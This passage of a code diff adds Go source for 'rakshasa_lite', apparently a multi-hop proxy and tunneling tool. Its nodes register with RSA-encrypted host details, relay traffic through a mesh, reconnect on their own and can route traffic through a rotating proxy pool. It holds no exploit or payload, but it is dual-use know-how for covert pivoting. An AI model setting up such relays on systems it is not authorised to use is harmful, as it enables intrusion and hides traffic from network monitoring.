v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||||
|
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||||
|
res <- nil
|
||||||
|
} else {
|
||||||
|
v.waitMsg = append(v.waitMsg, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
l.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
} else {
|
||||||
|
|
||||||
|
key := msg.From + "_" + strconv.Itoa(int(msg.MsgId))
|
||||||
|
msg.Ttl++
|
||||||
|
if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok {
|
||||||
|
|
||||||
|
if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播
|
||||||
|
go allNodesDo(func(_n *node) (bool, error) {
|
||||||
|
if _n.uuid != currentNode.uuid {
|
||||||
|
_n.WriteMsg(msg)
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
})
|
||||||
|
newNode := &node{
|
||||||
|
conn: c,
|
||||||
|
}
|
||||||
|
c.inChan <- func() {
|
||||||
|
newNode.do(msg)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
c.WriteToUUID(msg)
|
||||||
|
}
|
||||||
|
time.AfterFunc(time.Hour, func() {
|
||||||
|
broadcastMap.Delete(key)
|
||||||
|
})
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Conn) handle() {
|
||||||
|
c.OutChan = make(chan []byte, 64)
|
||||||
|
c.inChan = make(chan func())
|
||||||
|
|
||||||
|
c.close = make(chan string, 999)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case f := <-c.inChan:
|
||||||
|
f()
|
||||||
|
//c.do(b)
|
||||||
|
case b := <-c.OutChan:
|
||||||
|
|
||||||
|
if c.closeTag == 0 {
|
||||||
|
c.tlsWrite(b)
|
||||||
|
//var err error
|
||||||
|
for i := 0; i < len(c.OutChan); i++ {
|
||||||
|
|
||||||
|
c.tlsWrite(<-c.OutChan)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case <-c.close:
|
||||||
|
c.OutChan = upNodeWrite
|
||||||
|
if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 {
|
||||||
|
c.node.ping(0)
|
||||||
|
c.node.nextPingTime = time.Now().Unix() + 5
|
||||||
|
}
|
||||||
|
func() { //返回false则退出handle
|
||||||
|
connMap.Delete(c.remoteAddr)
|
||||||
|
l := clientLock.Lock()
|
||||||
|
defer func() {
|
||||||
|
l.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
|
||||||
|
|
||||||
|
if c.nodeConn != nil {
|
||||||
|
c.nodeConn.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
if c.node != nil {
|
||||||
|
//移除上游连接
|
||||||
|
for i := len(upLevelNode) - 1; i >= 0; i-- {
|
||||||
|
n := upLevelNode[i]
|
||||||
|
if n.uuid == c.node.uuid {
|
||||||
|
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return
|
||||||
|
}()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
}
|
||||||
|
func (c *Conn) reg() error {
|
||||||
|
|
||||||
|
var err error
|
||||||
|
reg := &common.RegMsg{
|
||||||
|
UUID: currentNode.uuid,
|
||||||
|
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||||
|
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||||
|
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||||
|
Hostname: cert.RSAEncrypterStr(currentNode.hostName),
|
||||||
|
}
|
||||||
|
regb, _ := json.Marshal(reg)
|
||||||
|
msg := common.Msg{
|
||||||
|
From: currentNode.uuid,
|
||||||
|
To: common.NoneUUID.String(),
|
||||||
|
CmdOpteion: common.CMD_REG,
|
||||||
|
CmdData: regb,
|
||||||
|
}
|
||||||
|
if err = c.tlsWrite(msg.Marshal()); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
go c.handlerNodeRead()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func (c *Conn) WriteToUUID(msg *common.Msg) {
|
||||||
|
|
||||||
|
l := clientLock.RLock()
|
||||||
|
defer l.RUnlock()
|
||||||
|
|
||||||
|
if n, ok := nodeMap[msg.To]; ok {
|
||||||
|
n.WriteMsg(msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Conn) Write(b []byte) {
|
||||||
|
|
||||||
|
c.OutChan <- b
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Conn) tlsWrite(b []byte) error {
|
||||||
|
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||||
|
_, err := c.nodeConn.Write(b)
|
||||||
|
if err != nil {
|
||||||
|
c.Close("Write " + err.Error())
|
||||||
|
upNodeWrite <- b
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -0,0 +1,507 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"cert"
|
||||||
|
"encoding/binary"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/rand"
|
||||||
|
"net"
|
||||||
|
"net/url"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"rakshasa_lite/httppool"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
type httpProxyClient struct {
|
||||||
|
windowsSize int64
|
||||||
|
isclose int32
|
||||||
|
conn net.Conn
|
||||||
|
udpconn net.Conn
|
||||||
|
|
||||||
|
remote int32
|
||||||
|
server *node
|
||||||
|
id uint32
|
||||||
|
wait chan int
|
||||||
|
close string
|
||||||
|
|
||||||
|
udpMap sync.Map
|
||||||
|
listenId uint32
|
||||||
|
localAddr string
|
||||||
|
isConnect bool
|
||||||
|
method string
|
||||||
|
cfg *common.Addr
|
||||||
|
pool *httppool.HttpPool
|
||||||
|
remoteAddr string
|
||||||
|
remotePort string
|
||||||
|
randkey []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *httpProxyClient) Write(b []byte) {
|
||||||
|
|
||||||
|
switch b[0] {
|
||||||
|
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||||
|
if string(s.randkey) != string(b[1:9]) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
switch common.NetWork(b[9]) {
|
||||||
|
|
||||||
|
case common.RAW_TCP:
|
||||||
|
if b[10] != 1 {
|
||||||
|
go func() { s.Close("") }()
|
||||||
|
} else if s.method == "CONNECT" {
|
||||||
|
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||||
|
}
|
||||||
|
case common.RAW_TCP_WITH_PROXY:
|
||||||
|
|
||||||
|
if b[10] != 1 {
|
||||||
|
//重新拉取一个池
|
||||||
|
s.connect()
|
||||||
|
} else if s.method == "CONNECT" {
|
||||||
|
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
log.Println("httpProxyClient 未处理")
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_CONN_MSG:
|
||||||
|
s.conn.Write(b[1:])
|
||||||
|
s.Addwindow(int64(-len(b[1:])))
|
||||||
|
default:
|
||||||
|
log.Println("未处理")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *httpProxyClient) Close(msg string) {
|
||||||
|
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
|
||||||
|
|
||||||
|
<-s.wait
|
||||||
|
s.wait <- common.CONN_STATUS_CLOSE
|
||||||
|
|
||||||
|
s.server.connMap.Delete(s.id)
|
||||||
|
|
||||||
|
if msg == "" {
|
||||||
|
msg = "未知关闭"
|
||||||
|
}
|
||||||
|
s.close = msg
|
||||||
|
if msg == remoteClose {
|
||||||
|
s.remote = CONN_REMOTE_CLOSE
|
||||||
|
} else if s.remote == CONN_REMOTE_OPEN {
|
||||||
|
s.remote = CONN_REMOTE_CLOSE
|
||||||
|
s.Remoteclose()
|
||||||
|
}
|
||||||
|
|
||||||
|
s.conn.Close()
|
||||||
|
if s.udpconn != nil {
|
||||||
|
s.udpconn.Close()
|
||||||
|
}
|
||||||
|
s.udpMap.Range(func(k, _ interface{}) bool {
|
||||||
|
s.udpMap.Delete(k)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func (s *httpProxyClient) Addwindow(window int64) {
|
||||||
|
|
||||||
|
windows_size := atomic.AddInt64(&s.windowsSize, window)
|
||||||
|
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
|
||||||
|
|
||||||
|
if windows_size < windows_update_size/2 { //扩大窗口
|
||||||
|
if size := windows_update_size - s.windowsSize; size > 0 {
|
||||||
|
atomic.AddInt64(&s.windowsSize, size)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, 8)
|
||||||
|
buf[0] = byte(size & 255)
|
||||||
|
buf[1] = byte(size >> 8 & 255)
|
||||||
|
buf[2] = byte(size >> 16 & 255)
|
||||||
|
buf[3] = byte(size >> 24 & 255)
|
||||||
|
buf[4] = byte(size >> 32 & 255)
|
||||||
|
buf[5] = byte(size >> 40 & 255)
|
||||||
|
buf[6] = byte(size >> 48 & 255)
|
||||||
|
buf[7] = byte(size >> 56 & 255)
|
||||||
|
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||||
|
var pool *httppool.HttpPool
|
||||||
|
var err error
|
||||||
|
if poolfile != "" {
|
||||||
|
pool, err = httppool.HttpPoolInit(poolfile)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var target *node
|
||||||
|
|
||||||
|
if len(dst) == 0 {
|
||||||
|
target = currentNode
|
||||||
|
} else {
|
||||||
|
target, err = GetNodeFromAddrs(dst)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
l := &clientListen{
|
||||||
|
server: target,
|
||||||
|
localAddr: cfg.Addr(),
|
||||||
|
id: common.GetID(),
|
||||||
|
typ: "http",
|
||||||
|
randkey: make([]byte, 8),
|
||||||
|
}
|
||||||
|
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||||
|
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
currentNode.listenMap.Store(l.id, l)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
|
||||||
|
l, err := net.Listen("tcp", cfg.Addr())
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
randkey := make([]byte, 8)
|
||||||
|
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||||
|
fmt.Println("httpproxy start ", cfg.Addr())
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
conn, err := l.Accept()
|
||||||
|
if err != nil {
|
||||||
|
if err.(*net.OpError).Err == net.ErrClosed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
s := &httpProxyClient{
|
||||||
|
cfg: cfg,
|
||||||
|
conn: conn,
|
||||||
|
server: n,
|
||||||
|
listenId: id,
|
||||||
|
pool: pool,
|
||||||
|
randkey: randkey,
|
||||||
|
}
|
||||||
|
go handleHttpProxyLocal(s)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return l, nil
|
||||||
|
}
|
||||||
|
func (s *httpProxyClient) OnOpened() (close bool) {
|
||||||
|
s.wait = make(chan int, 1)
|
||||||
|
s.remote = CONN_REMOTE_OPEN
|
||||||
|
s.windowsSize = 0
|
||||||
|
s.wait <- common.CONN_STATUS_OK
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 监听本地服务
|
||||||
|
func handleHttpProxyLocal(s *httpProxyClient) {
|
||||||
|
defer func() {
|
||||||
|
if err := recover(); err != nil {
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
b := make([]byte, common.MAX_PLAINTEXT-8)
|
||||||
|
if s.OnOpened() {
|
||||||
|
s.Close("无法获得服务器连接")
|
||||||
|
}
|
||||||
|
var data []byte
|
||||||
|
var req = &http1request{}
|
||||||
|
for {
|
||||||
|
n, err := s.conn.Read(b)
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
s.Close(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
data = append(data, b[:n]...)
|
||||||
|
//尝试读取一个http消息
|
||||||
|
l, _, err := parsereq(req, data)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
} else if l == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
//判断用户名密码
|
||||||
|
if s.cfg.GetHttpAuthorizationHeader() != "" {
|
||||||
|
var authorize bool
|
||||||
|
for _, herder := range req.header {
|
||||||
|
|
||||||
|
if herder == s.cfg.GetHttpAuthorizationHeader() {
|
||||||
|
authorize = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !authorize {
|
||||||
|
s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n"))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
data = data[l:]
|
||||||
|
switch req.method {
|
||||||
|
case "GET":
|
||||||
|
if u, err := url.Parse(req.uri); err == nil {
|
||||||
|
if i := strings.IndexByte(u.Host, ':'); i > -1 {
|
||||||
|
s.remoteAddr = u.Host[:i]
|
||||||
|
s.remotePort = u.Host[i+1:]
|
||||||
|
} else {
|
||||||
|
s.remoteAddr = u.Host
|
||||||
|
s.remotePort = "80"
|
||||||
|
}
|
||||||
|
s.connect()
|
||||||
|
buf := bufPool.Get().(*bytes.Buffer)
|
||||||
|
buf.Reset()
|
||||||
|
buf.WriteString("GET ")
|
||||||
|
buf.WriteString(req.uri)
|
||||||
|
buf.WriteString(" HTTP/1.1\r\n")
|
||||||
|
for _, header := range req.header {
|
||||||
|
buf.WriteString(header)
|
||||||
|
buf.WriteString("\r\n")
|
||||||
|
}
|
||||||
|
buf.WriteString("\r\n")
|
||||||
|
s.write2connect(buf.Bytes())
|
||||||
|
buf.Reset()
|
||||||
|
bufPool.Put(buf)
|
||||||
|
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
case "CONNECT":
|
||||||
|
s.method = "CONNECT"
|
||||||
|
if i := strings.IndexByte(req.uri, ':'); i > -1 {
|
||||||
|
s.remoteAddr = req.uri[:i]
|
||||||
|
s.remotePort = req.uri[i+1:]
|
||||||
|
s.connect()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
n, err = s.conn.Read(b)
|
||||||
|
if err != nil {
|
||||||
|
s.Close(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s.write2connect(b[:n])
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func (s *httpProxyClient) write2connect(data []byte) {
|
||||||
|
var new_size int64
|
||||||
|
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||||
|
atomic.AddInt64(&s.windowsSize, new_size)
|
||||||
|
|
||||||
|
} else {
|
||||||
|
new_size = 0
|
||||||
|
}
|
||||||
|
outdata := make([]byte, 8)
|
||||||
|
outdata[0] = byte(new_size)
|
||||||
|
outdata[1] = byte(new_size >> 8)
|
||||||
|
outdata[2] = byte(new_size >> 16)
|
||||||
|
outdata[3] = byte(new_size >> 24)
|
||||||
|
outdata[4] = byte(new_size >> 32)
|
||||||
|
outdata[5] = byte(new_size >> 40)
|
||||||
|
outdata[6] = byte(new_size >> 48)
|
||||||
|
outdata[7] = byte(new_size >> 56)
|
||||||
|
|
||||||
|
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
|
||||||
|
}
|
||||||
|
func (s *httpProxyClient) connect() {
|
||||||
|
if !s.isConnect {
|
||||||
|
|
||||||
|
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
|
||||||
|
s.id = s.server.storeConn(s)
|
||||||
|
buf[0] = byte(common.RAW_TCP)
|
||||||
|
copy(buf[1:], s.remoteAddr)
|
||||||
|
buf[1+len(s.remoteAddr)] = ':'
|
||||||
|
copy(buf[2+len(s.remoteAddr):], s.remotePort)
|
||||||
|
//添加代理信息
|
||||||
|
if s.pool != nil {
|
||||||
|
proxy := s.pool.Next()
|
||||||
|
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
|
||||||
|
buf = append(buf, []byte(" "+proxy.String())...)
|
||||||
|
}
|
||||||
|
|
||||||
|
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||||
|
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||||
|
switch v := value.(type) {
|
||||||
|
case *serverListen:
|
||||||
|
v.connMap.Store(s.id, s)
|
||||||
|
case *clientListen:
|
||||||
|
v.connMap.Store(s.id, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s.isConnect = true
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *httpProxyClient) Remoteclose() {
|
||||||
|
|
||||||
|
s.close = "本地要求远程关闭"
|
||||||
|
|
||||||
|
buf := make([]byte, 4)
|
||||||
|
buf[0] = byte(s.id)
|
||||||
|
buf[1] = byte(s.id >> 8)
|
||||||
|
buf[2] = byte(s.id >> 16)
|
||||||
|
buf[3] = byte(s.id >> 24)
|
||||||
|
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
|
||||||
|
|
||||||
|
}
|
||||||
|
func init() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
type kv struct { //kv键值对
|
||||||
|
key string
|
||||||
|
value string
|
||||||
|
}
|
||||||
|
type http1request struct {
|
||||||
|
Status string
|
||||||
|
|
||||||
|
//解析相关
|
||||||
|
Proto, method string
|
||||||
|
path, query, uri string
|
||||||
|
keep_alive bool
|
||||||
|
header []string //记录整行
|
||||||
|
body []byte
|
||||||
|
//rawdata []byte
|
||||||
|
|
||||||
|
//输出buffer相关
|
||||||
|
//data io.ReadCloser //消息主体
|
||||||
|
//dataSize int //dataSize大于-1就输出,所以要放到最后赋值
|
||||||
|
//out *tls.MsgBuffer //输出消息用buffer,包含header等信息
|
||||||
|
//out1 *tls.MsgBuffer
|
||||||
|
//流水线控制
|
||||||
|
//next *http1request
|
||||||
|
//num int32
|
||||||
|
//alreadyOutHreader bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func (req *http1request) addheader(line string, j int) {
|
||||||
|
if line[:j] == "Proxy-Connection" {
|
||||||
|
req.header = append(req.header, "Connection: "+line[j+2:])
|
||||||
|
req.keep_alive = line[j+2:] == "line[j+2:]"
|
||||||
|
} else {
|
||||||
|
req.header = append(req.header, line)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) {
|
||||||
|
|
||||||
|
l := len(data)
|
||||||
|
defer func() {
|
||||||
|
if e := recover(); e != nil {
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// method, path, proto line
|
||||||
|
|
||||||
|
req.Proto = ""
|
||||||
|
var s = 0
|
||||||
|
var line string
|
||||||
|
var firstLine = true
|
||||||
|
req.body = req.body[:0]
|
||||||
|
req.header = req.header[:0]
|
||||||
|
for i, j := 0, 0; j < l; j += i + 2 {
|
||||||
|
i = bytes.IndexByte(data[j:], 13)
|
||||||
|
|
||||||
|
if i == -1 {
|
||||||
|
break //跳出循环,判断是否包体过大
|
||||||
|
}
|
||||||
|
|
||||||
|
line = string(data[j : j+i])
|
||||||
|
if i > 0 {
|
||||||
|
if firstLine {
|
||||||
|
var q = -1
|
||||||
|
i := strings.IndexByte(line, 32)
|
||||||
|
if i > -1 {
|
||||||
|
req.method = line[:i]
|
||||||
|
line = line[i+1:]
|
||||||
|
for i, v := range line {
|
||||||
|
if v == 63 && q == -1 {
|
||||||
|
q = i
|
||||||
|
} else if v == 32 {
|
||||||
|
if q != -1 {
|
||||||
|
req.path = line[s:q]
|
||||||
|
req.query = line[q+1 : i]
|
||||||
|
} else {
|
||||||
|
req.path = line[s:i]
|
||||||
|
}
|
||||||
|
req.uri = line[s:i]
|
||||||
|
i++
|
||||||
|
req.Proto = line[i:]
|
||||||
|
//判断http返回
|
||||||
|
if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" {
|
||||||
|
/*code, err := strconv.Atoi(req.path)
|
||||||
|
if err == nil {
|
||||||
|
//req.Code = code
|
||||||
|
//req.CodeMsg = req.Proto
|
||||||
|
}*/
|
||||||
|
req.Status = line
|
||||||
|
req.Proto = req.method
|
||||||
|
req.method = ""
|
||||||
|
req.path = ""
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
switch req.Proto {
|
||||||
|
case "HTTP/1.0":
|
||||||
|
req.keep_alive = false
|
||||||
|
case "HTTP/1.1":
|
||||||
|
req.keep_alive = true
|
||||||
|
default:
|
||||||
|
return 0, nil, fmt.Errorf("malformed http1request")
|
||||||
|
}
|
||||||
|
firstLine = false
|
||||||
|
} else {
|
||||||
|
k := strings.IndexByte(line, 58)
|
||||||
|
if k > -1 && k < len(line) {
|
||||||
|
req.addheader(line, k)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
|
||||||
|
j += i + 2
|
||||||
|
|
||||||
|
if l-j < clen {
|
||||||
|
return 0, nil, nil
|
||||||
|
}
|
||||||
|
req.body = append(req.body, data[j:j+clen]...)
|
||||||
|
//req.body = append(req.body, data[s:s+clen]...)
|
||||||
|
//req.rawdata = append(req.rawdata, data[:j+clen]...)
|
||||||
|
return j + clen, req.body, nil
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0, nil, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
//封装一下易于调试的lock
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
type lock struct {
|
||||||
|
l sync.RWMutex
|
||||||
|
}
|
||||||
|
type unlock struct {
|
||||||
|
key string
|
||||||
|
l *sync.RWMutex
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *lock) Lock(old ...*unlock) *unlock {
|
||||||
|
u := &unlock{l: &l.l}
|
||||||
|
if len(old) == 1 {
|
||||||
|
u = old[0]
|
||||||
|
}
|
||||||
|
l.l.Lock()
|
||||||
|
return u
|
||||||
|
}
|
||||||
|
func (l *lock) RLock(old ...*unlock) *unlock {
|
||||||
|
u := &unlock{l: &l.l}
|
||||||
|
if len(old) == 1 {
|
||||||
|
u = old[0]
|
||||||
|
}
|
||||||
|
|
||||||
|
l.l.RLock()
|
||||||
|
return u
|
||||||
|
}
|
||||||
|
func (l *unlock) Unlock() {
|
||||||
|
l.l.Unlock()
|
||||||
|
}
|
||||||
|
func (l *unlock) RUnlock() {
|
||||||
|
l.l.RUnlock()
|
||||||
|
}
|
||||||
@@ -0,0 +1,1480 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"cert"
|
||||||
|
"crypto/tls"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"io/ioutil"
|
||||||
|
"math/rand"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"runtime"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
uuid2 "github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
currentNode = &node{uuid: uuid2.New().String()}
|
||||||
|
clientLock = &lock{}
|
||||||
|
nodeMap = make(map[string]*node)
|
||||||
|
upLevelNode []*node //上游节点
|
||||||
|
upNodeWrite = make(chan []byte, 999)
|
||||||
|
extNodeIp []string
|
||||||
|
connMap sync.Map
|
||||||
|
)
|
||||||
|
|
||||||
|
func InitCurrentNode() {
|
||||||
|
s := unsafe.Sizeof(uintptr(1))
|
||||||
|
bit := " x32"
|
||||||
|
if s == 8 {
|
||||||
|
bit = " x64"
|
||||||
|
}
|
||||||
|
rand.Seed(time.Now().Unix())
|
||||||
|
currentNode.hostName, _ = os.Hostname()
|
||||||
|
if ip, _ := common.ExternalIP(); ip != nil {
|
||||||
|
currentNode.addr = ip.String()
|
||||||
|
}
|
||||||
|
currentNode.goos = runtime.GOOS + bit
|
||||||
|
currentNode.mirrorNode = &node{
|
||||||
|
id: currentNode.id,
|
||||||
|
uuid: currentNode.uuid,
|
||||||
|
hostName: currentNode.hostName,
|
||||||
|
goos: currentNode.goos,
|
||||||
|
addr: currentNode.addr,
|
||||||
|
}
|
||||||
|
currentNode.mirrorNode.mirrorNode = currentNode
|
||||||
|
nodeMap[currentNode.uuid] = currentNode
|
||||||
|
//fmt.Println("当前节点UUID", currentNode.uuid)
|
||||||
|
go func() {
|
||||||
|
for b := range upNodeWrite {
|
||||||
|
for {
|
||||||
|
ok := func() bool {
|
||||||
|
|
||||||
|
l := clientLock.Lock()
|
||||||
|
defer l.Unlock()
|
||||||
|
|
||||||
|
if len(upLevelNode) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
upLevelNode[0].conn.tlsWrite(b)
|
||||||
|
return true
|
||||||
|
}()
|
||||||
|
if ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
time.Sleep(time.Second)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
nodeTickPing()
|
||||||
|
time.AfterFunc(time.Second*10, checkUpLevelNode)
|
||||||
|
}
|
||||||
|
func checkUpLevelNode() {
|
||||||
|
|
||||||
|
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
|
||||||
|
|
||||||
|
//尝试重新连接节点
|
||||||
|
for _, addr := range currentConfig.DstNode {
|
||||||
|
connectNew(addr)
|
||||||
|
}
|
||||||
|
if len(upLevelNode) == 0 {
|
||||||
|
//尝试连接其他节点
|
||||||
|
if !currentConfig.Limit {
|
||||||
|
for _, addr := range extNodeIp {
|
||||||
|
connectNew(addr)
|
||||||
|
if len(upLevelNode) > 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func() {
|
||||||
|
|
||||||
|
l := clientLock.RLock()
|
||||||
|
defer l.RUnlock()
|
||||||
|
|
||||||
|
for _, n := range nodeMap {
|
||||||
|
if n.uuid != currentNode.uuid {
|
||||||
|
func() {
|
||||||
|
|
||||||
|
l.RUnlock()
|
||||||
|
defer clientLock.RLock(l)
|
||||||
|
|
||||||
|
if len(n.mainIp) == 0 {
|
||||||
|
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
if len(upLevelNode) > 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
time.AfterFunc(time.Second*5, checkUpLevelNode)
|
||||||
|
}
|
||||||
|
func nodeTickPing() {
|
||||||
|
|
||||||
|
l := clientLock.RLock()
|
||||||
|
defer l.RUnlock()
|
||||||
|
|
||||||
|
now := time.Now().Unix()
|
||||||
|
for _, n := range nodeMap {
|
||||||
|
if n.uuid != currentNode.uuid {
|
||||||
|
if n.mainIp != "" {
|
||||||
|
addr1 := fmt.Sprintf("%s:%d", n.mainIp, n.port)
|
||||||
|
find := false
|
||||||
|
for _, addr2 := range extNodeIp {
|
||||||
|
if addr1 == addr2 {
|
||||||
|
find = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !find {
|
||||||
|
extNodeIp = append(extNodeIp, addr1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if n.nextPingTime == 0 {
|
||||||
|
go n.ping(0)
|
||||||
|
